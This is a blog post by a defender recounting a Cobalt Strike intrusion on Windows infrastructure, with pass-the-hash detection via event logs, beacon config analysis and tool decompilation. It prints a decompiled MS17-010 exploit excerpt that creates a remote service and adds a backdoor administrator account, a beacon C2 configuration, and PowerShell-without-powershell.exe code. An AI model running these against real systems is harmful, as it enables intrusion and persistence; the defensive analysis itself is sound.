The story of one attack on Windows infrastructure

By | February 8, 2025

Intro

Some time ago, I was involved in defending against a cyber attack (or perhaps an attack simulation) at Company X. I believe this example will be particularly interesting for those who want to deepen their understanding of how attackers operate and what defense approaches can help companies protect themselves. This story is a real-world example of an attack that can provide a better understanding of how such incidents unfold in practice. I hope it offers readers something new to learn.

During that time, my primary focus was on Windows technologies and Windows security, including:

  • implementing various security policies, ranging from Active Directory Group Policies to Windows Defender EDR-specific configurations.
  • automating the configuration of AppLocker and Windows Firewall.
  • Applying CIS hardening policies.
  • Learning Windows internals (writing custom drivers, analyzing open-source projects, performing memory dump analysis, etc.).
  • Troubleshooting Windows OS related issues.

And of course, I have always advocated security principles based on:

  • Defense in Depth – Implementing multiple layers of security across all levels, starting from the infrastructure and extending to the OS and application layers.
  • Zero Trust Approach.

The Attack Story

At a certain point, Company X realized that they were under attack.

One of their machines was compromised and began downloading and executing various attacker tools.

Enumeration & Initial Compromise

The attackers were proficient enough to use various advanced techniques and tools. For example, their shellcode didn’t use HTTP/TCP directly but instead leveraged the WinInet API. This allowed them to reuse SPNEGO Kerberos authentication for SSO with HTTP proxy solutions. By default, any external connection to the internet in this company was disallowed, meaning the attackers couldn’t communicate with their command-and-control center without proxy support.

Please take a look at these two posts that describe the attackers’ techniques for bypassing AppLocker and AVs rules:

Also, check out this post on Analyze memory dump files with YARA signatures in Windbg for possible pitfalls during memory dump analysis.

The attackers used Cobalt Strike as a platform for attack that has special mechanism – beacons, special post-exploitation payloads, designed to simulate an advanced persistent threat (APT).

Beacons functionality include support of:

  • multiple communication channels: HTTP/HTTPS, DNS (for stealthy exfiltration), SMB (lateral movement), TCP
  • payload execution – Can inject shellcode, run PowerShell scripts, download and execute arbitrary commands.
  • persistence & evasion, uses techniques like DLL injection, process hollowing, and obfuscation to avoid detection.
  • privilege escalation, exploits vulnerabilities or misconfigurations to gain higher privileges.
  • lateral movement, by using credentials and native Windows functionalities like WMI, PsExec, and RDP for propagate across a network stealthily and so on

Cobalt Strike was once one of the best solutions in its category, but many security tools have since been developed and adopted to detect its specific artifacts—starting with network firewalls (e.g., Palo Alto Networks), SIEMs (Logpoint), and ending with EDR solutions like Windows Defender EDR, which is particularly sensitive to anomalous activities related to Cobalt Strike

In our case, the attackers used a variety of tools to analyze and exploit the environment, including executable versions of Python utilities:

  • smbadmincheck.exe
  • smbclient.exe
  • smbshareenum.exe
  • pypykatz.exe
  • kerberoast.exe
  • Impire post-exploitation and adversary emulation framework (https://github.com/BC-SECURITY/Empire)
  • different standard Windows tools: net.exe, rundll32.exe, runonce.exe, etc
  • Cobalt Strike inner functionality

An important step in defense is detecting the technologies used by attackers. Cobalt Strike can be detected in various ways, one of which is identifying its control center FQDN and using scripts like JARM:

  • https://github.com/salesforce/jarm
  • https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a/

Other useful tools include:

Using the 1768.py tool, the following beacon information was retrieved:

xorkey(chain): 0xef44e22e
length: 0x00040200
Config found: xorkey b'.' 0x00000000 0x000057d0
0x0001 payload type                     0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port                             0x0001 0x0002 443
0x0003 sleeptime                        0x0002 0x0004 3200
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 15
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009a880e31a89ec828e7c300b4cf003aefaf380720ed28775293be4341871eac8daf1577677df8c23bb5cfb3b8f491dc7e8e4a383bd4d52f19909a4de73d36f38f592b6c28bbccc60a2e592c75d227d3ad2f46b98bae03eb06965b8532e6a6a5aa5894ce47252b094997933d340ce03b1e494b2e911807857e2832362946c038eb020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri                   0x0003 0x0100 'cdn.lbwd.net,/s/ref=nb_sb_noss_1/596-20814129-5816322/field-keywords=time'
0x0043                                  0x0001 0x0002 0
0x0044                                  0x0002 0x0004 4294967295
0x0045                                  0x0002 0x0004 4294967295
0x0046                                  0x0002 0x0004 4294967295
0x000e SpawnTo                          0x0003 0x0010 ......
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\net.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\net.exe'
0x001f CryptoScheme                     0x0001 0x0002 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0025 license-id                       0x0002 0x0004 406341830
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0009 useragent                        0x0003 0x0100 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
0x000a post-uri                         0x0003 0x0040 '/N0692/adj/amzn.us.sr.aps'
0x000b Malleable_C2_Instructions        0x0003 0x0100 '\x00\x00\x00\x04'
0x000c http_get_header                  0x0003 0x0200
  b'Accept: */*'
  b'Host: www.amazon.com'
  b'session-token='
  b'skin=noskin;'
  b',csm-hit=s-5LxzuIO6287ntVbDS3CJ|0932642693746'
  b'Cookie'
0x000d http_post_header                 0x0003 0x0200
  b'Accept: */*'
  b'Content-Type: text/xml'
  b' X-Requested-With: XMLHttpRequest'
  b'Host: www.amazon.com'
  b'\t'
  b'sz=160x600'
  b'\t'
  b'oe=oe=ISO-8859-1;'
  b'sn'
  b'\t'
  b's=8262'
  b'\t'
  b'"dc_ref=http%3A%2F%2Fwww.amazon.com'
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0032 UsesCookies                      0x0001 0x0002 1
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
0x003a                                  0x0003 0x0080 '\x00\x04'
0x0039                                  0x0003 0x0080 '\x00\x04'
0x0037                                  0x0001 0x0002 0
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 ........
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000

There is also another interesting aspect: they used the Empire Project post-exploitation agent. At that moment, I noticed that

Typically, there is no difference between a network logon using the Pass-the-Hash (PtH) technique and one using manually provided credentials. Some penetration testing tools implement NTLMv2 but do not fully adhere to Microsoft’s original NTLMv2 specification. Specifically, they often use hardcoded or predictable session key values, which deviates from the proper NTLMv2 authentication flow.

When performing a network logon with the PtH technique, the authentication process appears identical to the target system as when valid credentials are manually provided. This is because the NTLM hash is used directly for authentication, bypassing the need for the plaintext password

I experimented with the PowerSploit core library in a test domain, and here is the code with a predefined session key value

packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey", new byte[] { 0x00, 0x00, 0x00, 0x00 });

thus when we authenticate using this library

we observe different DC events depending on whether the authentication was performed using an NTLM Pass-the-Hash attack (left side) or during a normal logon (right side).

Microsoft also has well-documented recommendations for monitoring such events. For example, we can find the following:

https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625

If the Authentication Package is NTLM. In this case, monitor for Key Length not equal to 128, because all Windows operating systems starting with Windows 2000 support 128-bit Key Length.

and also

https://www.binarydefense.com/reliably-detecting-pass-the-hash

Key Length: 0 – This is the session key length. This is one of the most important for detection within event logs. With something like RDP, this would be 128-bit value. Any lower level sessions will be 0 which is a better indicator of lower level protocols with no session key and a good representation of Pass the Hash in the network.

Information about this event is not available on the DC unless the following policy is enabled:

Advanced Audit Configuration / Account Logon / Audit Credential Validation Success, Failure

If this is a domain account and the password needs to be validated by the DC, the corresponding request will be sent to the DC, though the information provided is very limited. Below is an example of Event ID 4776, generated by the DC when it validates an NTLM hash

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" /> 
  <EventID>4776</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>14336</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2021-03-26T21:42:18.747032700Z" /> 
  <EventRecordID>1866729</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="640" ThreadID="3380" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-QM2M944GT4S.TESTDOMAIN.LOC</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="PackageName">MICROSOFT_AUTHENTICATION_PACKAGE_V1_0</Data> 
  <Data Name="TargetUserName">test4</Data> 
  <Data Name="Workstation">DESKTOP-DV41VTA</Data> 
  <Data Name="Status">0x0</Data> 
  </EventData>
  </Event>

This event doesn’t contain information about the source host and is not informative, so collecting events from all hosts must be implemented:

https://books.google.com.ua/books?id=nEJRDwAAQBAJ&pg=PT57&dq=%22audit+credential+validation%22&hl=en&sa=X&ved=2ahUKEwi5peKW-c7vAhVvhosKHekhCn8Q6AEwAHoECAQQAg#v=onepage&q=%22audit%20credential%20validation%22&f=false

The ability to work with memory dumps is useful during defense. There are two popular tools for this:

  • WinDbg
  • Volatility framework

and ability to enumerate processes / threads and dump info:

  • CobaltStrikeScan utility – https://github.com/Apr4h/CobaltStrikeScan.git
  • ProcDump

The tricky part in such scenarios is understanding how successful the attackers were in lateral movement, so thread analysis as well as memory dump analysis could be helpful here. You should also know that hypervisors like VMware ESX allow for full memory dumps, which can be converted to a format supported by WinDbg and Volatility, allowing you to automate infrastructure checks

Part of the file were packed by PyInstaller packer so we have to extract pyc files using

https://github.com/extremecoders-re/pyinstxtractor/blob/master/pyinstxtractor.py

python pyinstxtractor.py kerberoast.exe

and the use python decompiler. Even with the online decompilers

https://www.lddgo.net/en/string/pyc-compile-decompile

we can get insight about tool used against us

which points us to this source code – https://github.com/skelsec/kerberoast/tree/main

“The benefit of using this Python code is that standard Windows DLLs are not used, as they are implemented in pure Python code. This could pose a challenge for security tools and antiviruses

Some tools

had exploit implementations as shown below

# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.7 (default, Jan 15 2021, 14:12:45) 
# [GCC 10.2.0]
# Embedded file name: zzz_exploit.py
.....

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    service_exec(conn, 'cmd /c net user /ADD sec Passw0rd!1')
    service_exec(conn, 'cmd /c net localgroup administrators sec /ADD')


def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
    with open(localSrc, 'rb') as (fp):
        smbConn.putFile(remoteDrive + '$', remotePath, fp.read)


def service_exec(conn, cmd):
    import random, string
    from impacket.dcerpc.v5 import transport, srvs, scmr
    service_name = ('').join([ random.choice(string.letters) for i in range(4) ])
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svcHandle = None
    try:
        try:
            print 'Opening SVCManager on %s.....' % conn.get_remote_host()
            resp = scmr.hROpenSCManagerW(rpcsvc)
            svcHandle = resp['lpScHandle']
            try:
                resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
            except Exception as e:
                if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                    raise e
            else:
                scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
                scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

            print 'Creating service %s.....' % service_name
            resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
            serviceHandle = resp['lpServiceHandle']
            if serviceHandle:
                try:
                    print 'Starting service %s.....' % service_name
                    scmr.hRStartServiceW(rpcsvc, serviceHandle)
                except Exception as e:
                    print str(e)

                print 'Removing service %s.....' % service_name
                scmr.hRDeleteService(rpcsvc, serviceHandle)
                scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
        except Exception as e:
            print 'ServiceExec Error on: %s' % conn.get_remote_host()
            print str(e)

    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

    rpcsvc.disconnect()
    return


if len(sys.argv) < 2:
    print ('{} <ip> [pipe_name]').format(sys.argv[0])
    sys.exit(1)
target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print 'Done'
# okay decompiling zzz_exploit.pyc

which is exe version of https://packetstorm.news/files/id/143326/ code that exploits MS17-0101 vulnerability.

Powershell bypassing mechanism

The last interesting aspect of this attack that I would like to share is the mechanism for executing PowerShell scripts, despite the availability of:

  • powershell restricted language mode (usually  enabled with Applocker)
  • allowing execution for only signed scripts

Take a look at this video – https://youtu.be/7tvfb9poTKg that covers high level details.

In the cobalt strike console you can import your own powershell script to the beacon

        else if (commandParser.is("powershell-import") && commandParser.empty()) {
            SafeDialogs.openFile("Select script to import", null, null, false, false, new SafeDialogCallback() {
                @Override
                public void dialogResult(final String s) {
                    BeaconConsole.this.master.PowerShellImport(s);
                }
            });

which compress script for further execution. The execution mechanism involves the use of the UnmanagedPowerShell C/C++ library, which uses a .NET modules

            using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
            {
                runspace.Open();

                using (Pipeline pipeline = runspace.CreatePipeline())
                {
                    pipeline.Commands.AddScript(command);
                    pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
                    pipeline.Commands.Add("out-default");

                    pipeline.Invoke();
                }
            }

These are called by C/C++ code in UnmanagedPowerShell.cpp (line 214) to run PowerShell code without relying on powershell.exe on the attacked Windows OS. (The original post can be found here

You can find the Cobalt Strike source code on the internet, along with the obfuscated Windows library in the /sleeve directory

that are actively used and contain different useful for attacker functionality.

References

https://ackcent.com/execution-powershell-t1086

Leave a Reply